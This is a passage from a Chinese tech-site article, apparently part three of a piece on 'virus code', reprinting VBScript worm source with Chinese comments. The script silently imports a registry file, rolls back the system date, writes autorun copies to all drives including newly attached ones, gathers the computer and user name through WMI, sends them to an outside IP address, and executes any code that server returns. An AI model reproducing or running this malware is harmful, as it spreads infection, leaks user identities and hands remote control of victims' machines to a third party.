病毒代码怎么用_病毒代码_qq病毒代码(3)

")

' 导入注册表sysinfo.reg

wshshell.run "regedit /s sysinfo.reg",0

wscript.sleep 200

fso.deletefile sysdir&"\sysinfo.reg",True

' 如果当前运行脚本在系统目录中

If InStr(thispath,sysdir)>0 Then

dri_list0=listdrv()

o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) '回拨时间1年

wshshell.run "cmd /c Date "&o_time,0

wscript.sleep 10000

For dri_i=1 to Len(dri_list0)

Call writeauto(Mid(dri_list0,dri_i,1)&":\")

Next

wshshell.run "cmd /c Date "&c_time,0

' WMI应用查询计算机名，用户名

computername="":username=""

Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")

Set colcomputers = objwmiservice.execquery("select * from win32_computersystem")

For Each objcomputer in colcomputers

computername=objcomputer.name

username=objcomputer.username

Next

If username="" Then username="evar"

If InStr(username,"\")<=0 Then

username=computername&"\"&username

End If

do

If issend=0 Then

' 链接外网，获得执行代码

Set xml=CreateObject("msxml2.serverxmlhttp")

xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0

' 是南师大学校党委组织部主办的网站

xml.setrequestheader "user-agent","evar"

xml.send()

If Err.number=0 Then

issend=1

res=xml.responsetext

If ucase(left(res,7))=ucase("Execute") Then Execute res

Else

Err.clear

End If

Set xml=Nothing

End If

dri_list=listdrv()

For dri_k=1 to Len(dri_list)

If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then

Call writeauto(Mid(dri_list,dri_k,1)&":\")

End If

Next

dri_list0=dri_list

wscript.sleep 1000

loop

Else

wshshell.run "explorer .\",3

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-27418-3.html